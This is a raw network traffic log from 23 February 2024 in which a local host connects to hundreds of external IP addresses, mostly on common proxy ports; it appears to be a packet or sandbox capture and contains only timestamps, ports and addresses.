Feb 23, 2024 14:28:23.129775047 CET	3129	50219	20.219.177.73	192.168.2.8
Feb 23, 2024 14:28:23.130166054 CET	50639	5678	192.168.2.8	103.116.174.125
Feb 23, 2024 14:28:23.130484104 CET	50640	83	192.168.2.8	36.255.87.133
Feb 23, 2024 14:28:23.130594015 CET	10293	50511	75.119.145.169	192.168.2.8
Feb 23, 2024 14:28:23.131140947 CET	52116	50464	188.255.244.83	192.168.2.8
Feb 23, 2024 14:28:23.131602049 CET	50641	5020	192.168.2.8	103.30.29.179
Feb 23, 2024 14:28:23.131633997 CET	8080	50468	176.98.81.85	192.168.2.8
Feb 23, 2024 14:28:23.132148027 CET	50643	8080	192.168.2.8	103.118.46.61
Feb 23, 2024 14:28:23.132149935 CET	50642	80	192.168.2.8	188.114.99.171
Feb 23, 2024 14:28:23.132215023 CET	50093	2006	192.168.2.8	173.44.141.179
Feb 23, 2024 14:28:23.132220030 CET	49874	80	192.168.2.8	141.148.63.29
Feb 23, 2024 14:28:23.132231951 CET	49876	80	192.168.2.8	34.81.72.31
Feb 23, 2024 14:28:23.132231951 CET	49882	3128	192.168.2.8	155.50.208.37
Feb 23, 2024 14:28:23.132253885 CET	49884	6060	192.168.2.8	41.57.25.129
Feb 23, 2024 14:28:23.132296085 CET	49757	29075	192.168.2.8	72.10.164.178
Feb 23, 2024 14:28:23.132304907 CET	50468	8080	192.168.2.8	176.98.81.85
Feb 23, 2024 14:28:23.132304907 CET	49873	36111	192.168.2.8	148.72.23.56
Feb 23, 2024 14:28:23.132304907 CET	50098	80	192.168.2.8	50.168.163.176
Feb 23, 2024 14:28:23.132320881 CET	49875	5678	192.168.2.8	217.196.21.170
Feb 23, 2024 14:28:23.132361889 CET	49881	8089	192.168.2.8	123.182.58.64
Feb 23, 2024 14:28:23.132371902 CET	49878	23500	192.168.2.8	181.209.82.154
Feb 23, 2024 14:28:23.132503986 CET	50468	8080	192.168.2.8	176.98.81.85
Feb 23, 2024 14:28:23.133294106 CET	50644	60808	192.168.2.8	210.61.216.63
Feb 23, 2024 14:28:23.133843899 CET	50645	999	192.168.2.8	186.96.102.209
Feb 23, 2024 14:28:23.134380102 CET	50646	999	192.168.2.8	201.71.2.185
Feb 23, 2024 14:28:23.135394096 CET	50648	80	192.168.2.8	172.67.182.38
Feb 23, 2024 14:28:23.135437965 CET	50647	80	192.168.2.8	104.21.64.208
Feb 23, 2024 14:28:23.136188030 CET	50649	10820	192.168.2.8	88.255.217.49
Feb 23, 2024 14:28:23.136538982 CET	50650	80	192.168.2.8	115.144.8.91
Feb 23, 2024 14:28:23.137286901 CET	50651	42624	192.168.2.8	162.214.165.6
Feb 23, 2024 14:28:23.138190031 CET	50652	45203	192.168.2.8	192.169.213.167
Feb 23, 2024 14:28:23.138725042 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.138761997 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.138803959 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.138905048 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.139400005 CET	9002	49969	111.16.50.12	192.168.2.8
Feb 23, 2024 14:28:23.139419079 CET	50653	21062	192.168.2.8	94.23.220.136
Feb 23, 2024 14:28:23.139517069 CET	49969	9002	192.168.2.8	111.16.50.12
Feb 23, 2024 14:28:23.139590979 CET	80	50391	45.12.31.140	192.168.2.8
Feb 23, 2024 14:28:23.139799118 CET	49969	9002	192.168.2.8	111.16.50.12
Feb 23, 2024 14:28:23.140561104 CET	50654	8080	192.168.2.8	181.129.43.3
Feb 23, 2024 14:28:23.141443968 CET	50655	23456	192.168.2.8	140.227.61.156
Feb 23, 2024 14:28:23.141716003 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.141928911 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.141976118 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.142055035 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.142517090 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.142574072 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.142580032 CET	50656	11232	192.168.2.8	5.161.98.204
Feb 23, 2024 14:28:23.142648935 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.142790079 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.143289089 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.143389940 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.143393040 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.143456936 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.143465042 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.143485069 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.143557072 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.143851995 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.144270897 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.144413948 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.144695044 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.144707918 CET	80	50275	41.111.243.18	192.168.2.8
Feb 23, 2024 14:28:23.144722939 CET	50657	83	192.168.2.8	103.137.218.161
Feb 23, 2024 14:28:23.144747972 CET	80	50275	41.111.243.18	192.168.2.8
Feb 23, 2024 14:28:23.144773006 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.144783020 CET	80	50403	31.43.179.214	192.168.2.8
Feb 23, 2024 14:28:23.145088911 CET	3129	50219	20.219.177.73	192.168.2.8
Feb 23, 2024 14:28:23.145387888 CET	50219	3129	192.168.2.8	20.219.177.73
Feb 23, 2024 14:28:23.145699024 CET	50658	80	192.168.2.8	213.143.113.82
Feb 23, 2024 14:28:23.147109985 CET	3128	50518	91.149.224.168	192.168.2.8
Feb 23, 2024 14:28:23.147841930 CET	49877	60484	192.168.2.8	188.164.193.178
Feb 23, 2024 14:28:23.147844076 CET	50075	2604	192.168.2.8	162.214.67.122
Feb 23, 2024 14:28:23.147841930 CET	49879	9999	192.168.2.8	1.1.104.70
Feb 23, 2024 14:28:23.147869110 CET	50157	80	192.168.2.8	50.202.75.26
Feb 23, 2024 14:28:23.147870064 CET	49744	80	192.168.2.8	96.113.158.126
Feb 23, 2024 14:28:23.147869110 CET	49890	8080	192.168.2.8	103.209.68.197
Feb 23, 2024 14:28:23.147875071 CET	49893	80	192.168.2.8	103.197.71.7
Feb 23, 2024 14:28:23.149389029 CET	4145	50572	199.229.254.129	192.168.2.8
Feb 23, 2024 14:28:23.149524927 CET	50572	4145	192.168.2.8	199.229.254.129
Feb 23, 2024 14:28:23.150358915 CET	35568	50568	107.172.79.64	192.168.2.8
Feb 23, 2024 14:28:23.150371075 CET	49579	50334	162.19.7.46	192.168.2.8
Feb 23, 2024 14:28:23.151388884 CET	80	49917	50.175.212.74	192.168.2.8
Feb 23, 2024 14:28:23.152149916 CET	80	50423	104.20.75.132	192.168.2.8
Feb 23, 2024 14:28:23.152537107 CET	9251	50545	162.214.162.180	192.168.2.8
Feb 23, 2024 14:28:23.152638912 CET	50545	9251	192.168.2.8	162.214.162.180
Feb 23, 2024 14:28:23.153261900 CET	50545	9251	192.168.2.8	162.214.162.180
Feb 23, 2024 14:28:23.153263092 CET	50572	4145	192.168.2.8	199.229.254.129
Feb 23, 2024 14:28:23.153949976 CET	7777	50044	123.30.154.171	192.168.2.8
Feb 23, 2024 14:28:23.154007912 CET	7777	50044	123.30.154.171	192.168.2.8
Feb 23, 2024 14:28:23.154025078 CET	50659	4145	192.168.2.8	159.192.121.240
Feb 23, 2024 14:28:23.154036999 CET	3128	50073	36.95.102.111	192.168.2.8
Feb 23, 2024 14:28:23.154140949 CET	50044	7777	192.168.2.8	123.30.154.171
Feb 23, 2024 14:28:23.154786110 CET	50044	7777	192.168.2.8	123.30.154.171
Feb 23, 2024 14:28:23.154792070 CET	50660	23031	192.168.2.8	107.180.101.226
Feb 23, 2024 14:28:23.155328989 CET	80	50322	194.34.232.107	192.168.2.8
Feb 23, 2024 14:28:23.155788898 CET	80	50322	194.34.232.107	192.168.2.8
Feb 23, 2024 14:28:23.158114910 CET	50661	8080	192.168.2.8	103.141.247.6
Feb 23, 2024 14:28:23.159003019 CET	50662	80	192.168.2.8	172.64.152.98
Feb 23, 2024 14:28:23.159670115 CET	50663	40667	192.168.2.8	109.123.254.43
Feb 23, 2024 14:28:23.160104990 CET	50664	8080	192.168.2.8	180.183.159.9
Feb 23, 2024 14:28:23.161211967 CET	50665	8680	192.168.2.8	103.121.90.216
Feb 23, 2024 14:28:23.161294937 CET	50666	2080	192.168.2.8	110.42.189.209
Feb 23, 2024 14:28:23.161497116 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.161510944 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.161626101 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.161653996 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.161706924 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.161793947 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.161794901 CET	49887	4145	192.168.2.8	98.188.47.132
Feb 23, 2024 14:28:23.161849022 CET	49888	12005	192.168.2.8	148.66.130.53
Feb 23, 2024 14:28:23.161906004 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.161992073 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.162070990 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.162394047 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.162436008 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.162590027 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.162667036 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.162683964 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.163110971 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.163170099 CET	50667	10867	192.168.2.8	67.43.227.226
Feb 23, 2024 14:28:23.163448095 CET	49897	999	192.168.2.8	201.182.251.140
Feb 23, 2024 14:28:23.163469076 CET	50199	8000	192.168.2.8	24.199.86.181
Feb 23, 2024 14:28:23.163469076 CET	50196	32425	192.168.2.8	67.43.227.227
Feb 23, 2024 14:28:23.163470030 CET	49902	41890	192.168.2.8	176.37.21.46
Feb 23, 2024 14:28:23.163470030 CET	49899	3126	192.168.2.8	36.95.155.74
Feb 23, 2024 14:28:23.163487911 CET	49891	3128	192.168.2.8	160.248.184.201
Feb 23, 2024 14:28:23.163489103 CET	49907	8080	192.168.2.8	195.34.91.67
Feb 23, 2024 14:28:23.163491964 CET	49904	34090	192.168.2.8	195.30.84.218
Feb 23, 2024 14:28:23.164130926 CET	50668	18939	192.168.2.8	72.10.160.90
Feb 23, 2024 14:28:23.164130926 CET	49905	8080	192.168.2.8	139.5.73.71
Feb 23, 2024 14:28:23.164738894 CET	32650	50382	91.108.130.111	192.168.2.8
Feb 23, 2024 14:28:23.164777040 CET	17270	49833	92.204.136.149	192.168.2.8
Feb 23, 2024 14:28:23.164855957 CET	50382	32650	192.168.2.8	91.108.130.111
Feb 23, 2024 14:28:23.164855957 CET	49833	17270	192.168.2.8	92.204.136.149
Feb 23, 2024 14:28:23.165096998 CET	50382	32650	192.168.2.8	91.108.130.111
Feb 23, 2024 14:28:23.165098906 CET	49833	17270	192.168.2.8	92.204.136.149
Feb 23, 2024 14:28:23.165144920 CET	20695	50079	67.43.236.20	192.168.2.8
Feb 23, 2024 14:28:23.165879011 CET	50669	2281	192.168.2.8	51.38.64.38
Feb 23, 2024 14:28:23.166181087 CET	50670	30829	192.168.2.8	5.42.81.57
Feb 23, 2024 14:28:23.166552067 CET	50671	3128	192.168.2.8	146.190.90.1
Feb 23, 2024 14:28:23.167805910 CET	50673	10081	192.168.2.8	102.69.176.98
Feb 23, 2024 14:28:23.167805910 CET	50672	6888	192.168.2.8	88.80.103.9
Feb 23, 2024 14:28:23.168817043 CET	50674	80	192.168.2.8	200.54.22.74
Feb 23, 2024 14:28:23.169229984 CET	50675	80	192.168.2.8	36.92.140.113
Feb 23, 2024 14:28:23.169373989 CET	50676	4145	192.168.2.8	118.67.216.94
Feb 23, 2024 14:28:23.169564962 CET	5678	50416	41.139.147.86	192.168.2.8
Feb 23, 2024 14:28:23.169910908 CET	50677	80	192.168.2.8	20.187.77.5
Feb 23, 2024 14:28:23.170094013 CET	50416	5678	192.168.2.8	41.139.147.86
Feb 23, 2024 14:28:23.170332909 CET	50416	5678	192.168.2.8	41.139.147.86
Feb 23, 2024 14:28:23.170648098 CET	50678	50573	192.168.2.8	213.136.75.85
Feb 23, 2024 14:28:23.171406984 CET	50679	8080	192.168.2.8	80.232.245.122
Feb 23, 2024 14:28:23.171674967 CET	50680	8080	192.168.2.8	202.8.74.10
Feb 23, 2024 14:28:23.172209978 CET	50681	12438	192.168.2.8	146.59.178.222
Feb 23, 2024 14:28:23.172663927 CET	80	50448	185.162.228.154	192.168.2.8
Feb 23, 2024 14:28:23.172707081 CET	50682	4145	192.168.2.8	72.195.101.99
Feb 23, 2024 14:28:23.173367023 CET	80	50451	104.16.230.163	192.168.2.8
Feb 23, 2024 14:28:23.173388958 CET	50683	8080	192.168.2.8	41.57.6.45
Feb 23, 2024 14:28:23.173914909 CET	50684	55636	192.168.2.8	1.179.148.9
Feb 23, 2024 14:28:23.174740076 CET	50685	4444	192.168.2.8	71.42.125.218
Feb 23, 2024 14:28:23.174890995 CET	50686	80	192.168.2.8	50.174.145.11
Feb 23, 2024 14:28:23.175497055 CET	80	50573	104.20.125.124	192.168.2.8
Feb 23, 2024 14:28:23.175554991 CET	80	50573	104.20.125.124	192.168.2.8
Feb 23, 2024 14:28:23.175599098 CET	60406	50371	54.38.179.203	192.168.2.8
Feb 23, 2024 14:28:23.175669909 CET	80	50576	104.24.15.158	192.168.2.8
Feb 23, 2024 14:28:23.175690889 CET	50687	80	192.168.2.8	65.21.131.27
Feb 23, 2024 14:28:23.175721884 CET	80	50576	104.24.15.158	192.168.2.8
Feb 23, 2024 14:28:23.175749063 CET	80	50573	104.20.125.124	192.168.2.8
Feb 23, 2024 14:28:23.176095963 CET	50573	80	192.168.2.8	104.20.125.124
Feb 23, 2024 14:28:23.176098108 CET	50688	9300	192.168.2.8	198.211.99.26
Feb 23, 2024 14:28:23.176134109 CET	80	50576	104.24.15.158	192.168.2.8
Feb 23, 2024 14:28:23.176181078 CET	50573	80	192.168.2.8	104.20.125.124
Feb 23, 2024 14:28:23.176192045 CET	50576	80	192.168.2.8	104.24.15.158
Feb 23, 2024 14:28:23.176512957 CET	80	50472	146.83.118.9	192.168.2.8
Feb 23, 2024 14:28:23.177107096 CET	50576	80	192.168.2.8	104.24.15.158
Feb 23, 2024 14:28:23.177995920 CET	30883	50595	67.43.227.228	192.168.2.8
Feb 23, 2024 14:28:23.178935051 CET	50689	80	192.168.2.8	104.16.108.204
Feb 23, 2024 14:28:23.179083109 CET	50080	999	192.168.2.8	181.65.169.35
Feb 23, 2024 14:28:23.179085016 CET	50114	8443	192.168.2.8	71.19.249.97
Feb 23, 2024 14:28:23.179090023 CET	80	49859	62.99.138.162	192.168.2.8
Feb 23, 2024 14:28:23.179095984 CET	49903	8080	192.168.2.8	182.23.35.242
Feb 23, 2024 14:28:23.179095984 CET	50223	13897	192.168.2.8	67.43.227.227
Feb 23, 2024 14:28:23.179119110 CET	49906	32650	192.168.2.8	41.217.220.214
Feb 23, 2024 14:28:23.179121017 CET	49909	2080	192.168.2.8	222.241.144.17
Feb 23, 2024 14:28:23.179124117 CET	49913	80	192.168.2.8	159.65.184.81
Feb 23, 2024 14:28:23.179125071 CET	49911	12940	192.168.2.8	107.180.89.55
Feb 23, 2024 14:28:23.179146051 CET	49912	14366	192.168.2.8	185.18.198.253
Feb 23, 2024 14:28:23.179147959 CET	49916	11087	192.168.2.8	115.144.163.193
Feb 23, 2024 14:28:23.179148912 CET	49915	6868	192.168.2.8	194.44.36.114
Feb 23, 2024 14:28:23.179150105 CET	49914	8080	192.168.2.8	196.3.99.162
Feb 23, 2024 14:28:23.179178953 CET	49908	3128	192.168.2.8	103.13.120.116
Feb 23, 2024 14:28:23.180460930 CET	3128	50326	39.105.27.30	192.168.2.8
Feb 23, 2024 14:28:23.180586100 CET	50326	3128	192.168.2.8	39.105.27.30
Feb 23, 2024 14:28:23.180895090 CET	80	50578	185.162.228.48	192.168.2.8
Feb 23, 2024 14:28:23.180999041 CET	80	50578	185.162.228.48	192.168.2.8
Feb 23, 2024 14:28:23.181132078 CET	80	50579	104.25.135.170	192.168.2.8
Feb 23, 2024 14:28:23.181169033 CET	80	50579	104.25.135.170	192.168.2.8
Feb 23, 2024 14:28:23.181241035 CET	80	50579	104.25.135.170	192.168.2.8
Feb 23, 2024 14:28:23.181322098 CET	50579	80	192.168.2.8	104.25.135.170
Feb 23, 2024 14:28:23.181747913 CET	80	50578	185.162.228.48	192.168.2.8
Feb 23, 2024 14:28:23.181924105 CET	50578	80	192.168.2.8	185.162.228.48
Feb 23, 2024 14:28:23.182638884 CET	50578	80	192.168.2.8	185.162.228.48
Feb 23, 2024 14:28:23.182948112 CET	8081	50232	193.239.58.92	192.168.2.8
Feb 23, 2024 14:28:23.183279991 CET	8081	50232	193.239.58.92	192.168.2.8
Feb 23, 2024 14:28:23.183667898 CET	50579	80	192.168.2.8	104.25.135.170
Feb 23, 2024 14:28:23.183991909 CET	8081	50559	193.239.58.92	192.168.2.8
Feb 23, 2024 14:28:23.184084892 CET	50326	3128	192.168.2.8	39.105.27.30
Feb 23, 2024 14:28:23.184182882 CET	50559	8081	192.168.2.8	193.239.58.92
Feb 23, 2024 14:28:23.184643030 CET	50690	58111	192.168.2.8	151.236.39.7
Feb 23, 2024 14:28:23.184645891 CET	50559	8081	192.168.2.8	193.239.58.92
Feb 23, 2024 14:28:23.185439110 CET	80	50592	50.174.145.9	192.168.2.8
Feb 23, 2024 14:28:23.185798883 CET	80	50337	210.211.113.34	192.168.2.8
Feb 23, 2024 14:28:23.186613083 CET	50692	3128	192.168.2.8	35.189.183.169
Feb 23, 2024 14:28:23.186614990 CET	50691	10121	192.168.2.8	67.43.236.20
Feb 23, 2024 14:28:23.186825991 CET	50337	80	192.168.2.8	210.211.113.34
Feb 23, 2024 14:28:23.186825991 CET	50337	80	192.168.2.8	210.211.113.34
Feb 23, 2024 14:28:23.186983109 CET	3128	50073	36.95.102.111	192.168.2.8
Feb 23, 2024 14:28:23.187881947 CET	50694	52138	192.168.2.8	154.12.253.232
Feb 23, 2024 14:28:23.187882900 CET	50693	1080	192.168.2.8	37.194.22.116
Feb 23, 2024 14:28:23.188031912 CET	3128	50548	94.250.250.154	192.168.2.8
Feb 23, 2024 14:28:23.188061953 CET	50073	3128	192.168.2.8	36.95.102.111
Feb 23, 2024 14:28:23.188447952 CET	50695	4145	192.168.2.8	142.54.235.9
Feb 23, 2024 14:28:23.189050913 CET	50696	5678	192.168.2.8	212.200.161.241
Feb 23, 2024 14:28:23.189316988 CET	55919	50115	45.79.191.205	192.168.2.8
Feb 23, 2024 14:28:23.189801931 CET	50697	4145	192.168.2.8	72.195.34.42
Feb 23, 2024 14:28:23.190061092 CET	3283	50600	72.10.160.173	192.168.2.8
Feb 23, 2024 14:28:23.190072060 CET	50698	32650	192.168.2.8	103.29.90.66
Feb 23, 2024 14:28:23.190677881 CET	3128	50383	103.14.224.104	192.168.2.8
Feb 23, 2024 14:28:23.190701008 CET	50699	80	192.168.2.8	116.203.49.36
Feb 23, 2024 14:28:23.190795898 CET	50383	3128	192.168.2.8	103.14.224.104
Feb 23, 2024 14:28:23.190843105 CET	3129	49782	116.130.233.22	192.168.2.8
Feb 23, 2024 14:28:23.190886021 CET	50383	3128	192.168.2.8	103.14.224.104
Feb 23, 2024 14:28:23.191109896 CET	50700	20132	192.168.2.8	54.39.50.68
Feb 23, 2024 14:28:23.192493916 CET	50701	5206	192.168.2.8	45.11.95.165
Feb 23, 2024 14:28:23.192650080 CET	50702	33992	192.168.2.8	79.137.204.161
Feb 23, 2024 14:28:23.192857027 CET	50703	5678	192.168.2.8	110.78.152.246
Feb 23, 2024 14:28:23.193541050 CET	3128	50503	189.10.103.98	192.168.2.8
Feb 23, 2024 14:28:23.193567038 CET	50704	17719	192.168.2.8	67.43.227.228
Feb 23, 2024 14:28:23.194385052 CET	50705	999	192.168.2.8	190.61.55.138
Feb 23, 2024 14:28:23.194385052 CET	50706	80	192.168.2.8	50.222.245.42
Feb 23, 2024 14:28:23.194704056 CET	50187	80	192.168.2.8	50.173.140.147
Feb 23, 2024 14:28:23.194720030 CET	49925	80	192.168.2.8	5.189.146.57
Feb 23, 2024 14:28:23.194720030 CET	49775	3128	192.168.2.8	34.29.41.58
Feb 23, 2024 14:28:23.194726944 CET	50275	80	192.168.2.8	41.111.243.18
Feb 23, 2024 14:28:23.194731951 CET	80	50469	172.67.150.173	192.168.2.8
Feb 23, 2024 14:28:23.194736958 CET	49918	15463	192.168.2.8	103.121.90.216
Feb 23, 2024 14:28:23.194737911 CET	50237	32175	192.168.2.8	67.43.236.19
Feb 23, 2024 14:28:23.194756985 CET	49928	5555	192.168.2.8	190.112.39.241
Feb 23, 2024 14:28:23.194760084 CET	49920	8080	192.168.2.8	103.169.130.36
Feb 23, 2024 14:28:23.194762945 CET	49930	8080	192.168.2.8	190.57.245.250
Feb 23, 2024 14:28:23.195590973 CET	50707	80	192.168.2.8	50.172.75.124
Feb 23, 2024 14:28:23.195591927 CET	50708	8080	192.168.2.8	41.203.83.66
Feb 23, 2024 14:28:23.196182966 CET	80	50473	172.64.86.217	192.168.2.8
Feb 23, 2024 14:28:23.196289062 CET	50709	443	192.168.2.8	103.18.46.253
Feb 23, 2024 14:28:23.196307898 CET	443	50709	103.18.46.253	192.168.2.8
Feb 23, 2024 14:28:23.196860075 CET	50710	4145	192.168.2.8	222.124.130.196
Feb 23, 2024 14:28:23.196862936 CET	50709	443	192.168.2.8	103.18.46.253
Feb 23, 2024 14:28:23.197305918 CET	50709	443	192.168.2.8	103.18.46.253
Feb 23, 2024 14:28:23.197316885 CET	443	50709	103.18.46.253	192.168.2.8
Feb 23, 2024 14:28:23.197431087 CET	443	50709	103.18.46.253	192.168.2.8
Feb 23, 2024 14:28:23.197581053 CET	8181	50547	188.235.0.207	192.168.2.8
Feb 23, 2024 14:28:23.197835922 CET	50712	53723	192.168.2.8	104.37.175.206
Feb 23, 2024 14:28:23.197835922 CET	50711	80	192.168.2.8	50.169.23.170
Feb 23, 2024 14:28:23.198003054 CET	80	50062	50.173.140.150	192.168.2.8
Feb 23, 2024 14:28:23.198920012 CET	50713	443	192.168.2.8	103.18.46.253
Feb 23, 2024 14:28:23.198934078 CET	443	50713	103.18.46.253	192.168.2.8
Feb 23, 2024 14:28:23.199634075 CET	50715	3128	192.168.2.8	167.172.91.47
Feb 23, 2024 14:28:23.199723959 CET	50713	443	192.168.2.8	103.18.46.253
Feb 23, 2024 14:28:23.199732065 CET	50714	5678	192.168.2.8	118.67.223.4
Feb 23, 2024 14:28:23.200050116 CET	4145	50589	107.181.161.81	192.168.2.8
Feb 23, 2024 14:28:23.200052023 CET	50713	443	192.168.2.8	103.18.46.253
Feb 23, 2024 14:28:23.200052977 CET	50716	13326	192.168.2.8	141.94.174.6
Feb 23, 2024 14:28:23.200061083 CET	443	50713	103.18.46.253	192.168.2.8
Feb 23, 2024 14:28:23.200140953 CET	443	50713	103.18.46.253	192.168.2.8
Feb 23, 2024 14:28:23.200373888 CET	4145	50327	103.35.108.198	192.168.2.8
Feb 23, 2024 14:28:23.200665951 CET	50717	35618	192.168.2.8	208.109.14.49
Feb 23, 2024 14:28:23.201602936 CET	4635	49979	93.115.25.139	192.168.2.8
Feb 23, 2024 14:28:23.201767921 CET	50718	443	192.168.2.8	103.18.46.253
Feb 23, 2024 14:28:23.201785088 CET	443	50718	103.18.46.253	192.168.2.8
Feb 23, 2024 14:28:23.201841116 CET	50718	443	192.168.2.8	103.18.46.253
Feb 23, 2024 14:28:23.201844931 CET	50719	4145	192.168.2.8	109.236.47.242
Feb 23, 2024 14:28:23.202063084 CET	50718	443	192.168.2.8	103.18.46.253
Feb 23, 2024 14:28:23.202073097 CET	443	50718	103.18.46.253	192.168.2.8
Feb 23, 2024 14:28:23.202138901 CET	443	50718	103.18.46.253	192.168.2.8
Feb 23, 2024 14:28:23.203018904 CET	50721	21231	192.168.2.8	92.247.2.26
Feb 23, 2024 14:28:23.203020096 CET	50720	9002	192.168.2.8	61.133.66.69
Feb 23, 2024 14:28:23.203816891 CET	50722	80	192.168.2.8	50.217.226.41
Feb 23, 2024 14:28:23.205126047 CET	50723	443	192.168.2.8	103.18.46.253
Feb 23, 2024 14:28:23.205154896 CET	443	50723	103.18.46.253	192.168.2.8
Feb 23, 2024 14:28:23.205298901 CET	50723	443	192.168.2.8	103.18.46.253
Feb 23, 2024 14:28:23.205517054 CET	5385	50611	72.10.160.170	192.168.2.8
Feb 23, 2024 14:28:23.206398010 CET	7249	50612	72.10.160.90	192.168.2.8
Feb 23, 2024 14:28:23.207056046 CET	80	50623	104.23.100.73	192.168.2.8
Feb 23, 2024 14:28:23.207251072 CET	50724	32650	192.168.2.8	197.254.84.86
Feb 23, 2024 14:28:23.207251072 CET	50723	443	192.168.2.8	103.18.46.253
Feb 23, 2024 14:28:23.207284927 CET	443	50723	103.18.46.253	192.168.2.8
Feb 23, 2024 14:28:23.207330942 CET	443	50723	103.18.46.253	192.168.2.8
Feb 23, 2024 14:28:23.207361937 CET	50623	80	192.168.2.8	104.23.100.73
Feb 23, 2024 14:28:23.207623959 CET	50623	80	192.168.2.8	104.23.100.73
Feb 23, 2024 14:28:23.207676888 CET	80	50417	18.133.16.21	192.168.2.8
Feb 23, 2024 14:28:23.207910061 CET	80	50370	113.30.149.76	192.168.2.8
Feb 23, 2024 14:28:23.207971096 CET	50725	9000	192.168.2.8	122.116.150.2
Feb 23, 2024 14:28:23.208023071 CET	80	50370	113.30.149.76	192.168.2.8
Feb 23, 2024 14:28:23.208048105 CET	50370	80	192.168.2.8	113.30.149.76
Feb 23, 2024 14:28:23.208363056 CET	50370	80	192.168.2.8	113.30.149.76
Feb 23, 2024 14:28:23.210371017 CET	50322	80	192.168.2.8	194.34.232.107
Feb 23, 2024 14:28:23.210371971 CET	49924	6432	192.168.2.8	209.145.56.51
Feb 23, 2024 14:28:23.210374117 CET	49919	41041	192.168.2.8	46.182.6.69
Feb 23, 2024 14:28:23.210382938 CET	50240	9050	192.168.2.8	198.27.82.161
Feb 23, 2024 14:28:23.210391045 CET	49927	3127	192.168.2.8	103.153.35.85
Feb 23, 2024 14:28:23.210403919 CET	49935	80	192.168.2.8	190.186.237.103
Feb 23, 2024 14:28:23.210405111 CET	49934	51526	192.168.2.8	107.180.101.226
Feb 23, 2024 14:28:23.210405111 CET	49931	16379	192.168.2.8	51.158.105.203
Feb 23, 2024 14:28:23.210407972 CET	49929	27237	192.168.2.8	167.99.123.158
Feb 23, 2024 14:28:23.210587978 CET	49932	4145	192.168.2.8	174.75.211.222
Feb 23, 2024 14:28:23.210587978 CET	49936	999	192.168.2.8	190.69.157.213
Feb 23, 2024 14:28:23.211437941 CET	50726	80	192.168.2.8	113.30.149.76
Feb 23, 2024 14:28:23.211823940 CET	28143	50118	67.43.228.253	192.168.2.8
Feb 23, 2024 14:28:23.212187052 CET	50727	999	192.168.2.8	201.77.108.1
Feb 23, 2024 14:28:23.213279963 CET	50728	8000	192.168.2.8	222.220.102.159
Feb 23, 2024 14:28:23.213336945 CET	80	50632	185.162.228.128	192.168.2.8
Feb 23, 2024 14:28:23.213426113 CET	50632	80	192.168.2.8	185.162.228.128
Feb 23, 2024 14:28:23.213608027 CET	3128	50562	201.91.82.155	192.168.2.8
Feb 23, 2024 14:28:23.213644981 CET	50632	80	192.168.2.8	185.162.228.128
Feb 23, 2024 14:28:23.213676929 CET	50562	3128	192.168.2.8	201.91.82.155
Feb 23, 2024 14:28:23.213917971 CET	5032	50308	45.11.95.165	192.168.2.8
Feb 23, 2024 14:28:23.213948011 CET	50562	3128	192.168.2.8	201.91.82.155
Feb 23, 2024 14:28:23.214373112 CET	50729	7497	192.168.2.8	54.39.118.40
Feb 23, 2024 14:28:23.214984894 CET	50731	31337	192.168.2.8	186.251.255.93
Feb 23, 2024 14:28:23.214987993 CET	50730	999	192.168.2.8	112.5.33.179
Feb 23, 2024 14:28:23.215264082 CET	80	50420	184.169.154.119	192.168.2.8
Feb 23, 2024 14:28:23.215697050 CET	50732	8080	192.168.2.8	178.213.24.233
Feb 23, 2024 14:28:23.216226101 CET	6764	50429	198.105.111.86	192.168.2.8
Feb 23, 2024 14:28:23.216398954 CET	50734	5430	192.168.2.8	49.0.2.243
Feb 23, 2024 14:28:23.216398954 CET	50733	8291	192.168.2.8	164.163.21.14
Feb 23, 2024 14:28:23.216969967 CET	50735	8089	192.168.2.8	223.215.176.36
